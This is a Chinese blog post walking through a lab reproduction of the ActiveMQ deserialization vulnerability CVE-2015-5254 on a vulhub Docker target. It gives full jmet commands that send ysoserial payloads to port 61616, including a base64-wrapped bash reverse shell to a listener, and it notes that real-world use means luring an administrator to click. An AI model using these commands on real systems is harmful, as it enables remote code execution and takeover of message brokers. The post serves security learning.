ActiveMQ反序列化漏洞复现CVE-2015-5254

发布于 2023-08-04  509 次阅读


前置知识

  • 环境搭建网上的教程也有很多了,反正我用不来那个vulhub的加速器,换了国内的源在学校也拉取不下来镜像,但是在家就可以直接拉取了.实在不行搞个在linux上搞个那啥也行🐶

  • 首先是环境配置,cd到vulhub靶场的CVE-2015-5254目录下(有yml配置文件的目录),找不到可以使用find命令在vulhub靶场目录中查找,然后执行构建命令,然后docker ps看一下,启动成功

find ./ -name CVE-2015-5254
docker-compose up -d
docker ps

  • 然后再提一下windows访问的问题,windows访问虚拟机不需要在windows查ip,也不需要设置网络为nat模式,设置为桥接然后linux下面查看一下自己的ip,直接访问就行了

  • 至于端口,可以看到默认将docker容器的8161和61616端口映射到虚拟机的8161,61616端口,61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。
ActiveMQ(Active Message Queue)是一个开源的消息中间件,用于实现分布式系统中的消息通信。它提供了可靠的异步通
信机制,使得不同应用程序、不同语言或不同平台之间可以通过消息进行实时的数据交换和通信。ActiveMQ 的两个端口分别
是:

1. JMS(Java Message Service)端口(默认端口号为61616):这是 ActiveMQ 提供给 Java 应用程序使用的端口。
Java 应用程序可以使用 JMS API 连接到 ActiveMQ 服务器,发送和接收消息。

2. 控制台管理端口(默认端口号为8161):这个端口用于访问 ActiveMQ 的管理控制台。通过浏览器访问该端口,可以查看
和管理 ActiveMQ 的配置、监控队列、发布/订阅消息等。

JMS 端口是用于实际的消息传递,而控制台管理端口则用于管理和监控 ActiveMQ 服务器。在生产环境中,通常需要将控制台
管理端口限制为仅允许受信任的主机或网络访问,以确保安全性。通过 ActiveMQ,应用程序可以实现解耦合、异步通信和可靠
消息传递,从而构建可伸缩和可靠的分布式系统。
  • Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

  • 具体的原理涉及到java反序列化漏洞啥的,没学过

  • YSOSerial是一个Java反序列化漏洞利用工具集。它用于构造恶意的Java序列化数据流,以利用Java应用程序中可能存在的反序列化漏洞。这些漏洞可能导致远程代码执行、拒绝服务攻击或其他安全问题。

  • YSOSerial 可以通过使用不同的有效载荷和序列化库来构造恶意序列化数据,其中包括常见的Java序列化库,如Java原生序列化库和Apache Commons Collections。它使安全研究人员能够测试应用程序的安全性,并帮助开发团队识别和修复潜在的反序列化漏洞。

  • jmet是一个java写的工具,原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),它的下载地址在https://github.com/matthiaskaiser/jmet

漏洞复现

  • 下载jmet工具,ActiveMQ的攻击指令如下,其中"touch /tmp/sucess"为rce,可以自己随便改,这里先在/tmp/目录生成一个sucess文件来看看是否rce成功,不知道为啥会报错,不过后面的测试证明虽然报错了但是成功rce.
  • 在我测试的时候发现了一个问题,如果在windows上使用这个工具,就无法成功向目标机器发送消息,对列里也没有收到新的消息,就在kali上面发吧,反正kali也自带了java环境
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME   192.16
8.1.101   61616

  • 以上操作向ActiveMQ发送了一个恶意的消息,但是它被添加到消息队列里面没有执行,所以我们要登录到ActiveMQ的管理面板手动执行,如果是实战的话就得利用其他方法诱导管理员点击链接了
  • 这里登录后的管理地址为http://192.168.1.101:8161/admin/browse.jsp?JMSDestination=event,点一下对应的message就可以了

  • 使用docker exec命令来连接docker的shell,看一下tmp目录有没有sucess文件(-i后面接docker ps查看到的容器id,/bin/bash是指定终端程序)
docker ps
docker exec -i 9b7e4934b7f1 /bin/bash
ls /tmp/

  • 确实有sucess文件,说明实现rce,然后多半要提权,可以考虑用之前dc的那一套,写一个root用户进去,不过为了方便就先反弹个shell
  • 监听本机8888端口
nc -lvnp 8888

  • 注意这里如果不将命令base64编码的话无法执行,将base64编码解码并执行的语句为
bash -c {echo,命令的base64编码}|{base64,-d}|{bash,-i}
  • 使用在线网站编码反弹shell的命令
 bash -i >& /dev/tcp/192.168.1.101/8888 0>&1
IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjEwMS84ODg4IDA+JjE=
  • kali中使用jmet使用rce反弹shell
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,IGJhc2ggLWkgPiYgL2Rldi
90Y3AvMTkyLjE2OC4xLjEwMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.1.101 61616

  • 然后点一下消息队列里的新消息

  • 成功连上shell,并且直接就有root权限,复现成功

  • 漏洞打完了记得docker stop和docker rm把容器删掉鸭.
届ける言葉を今は育ててる
最后更新于 2024-02-07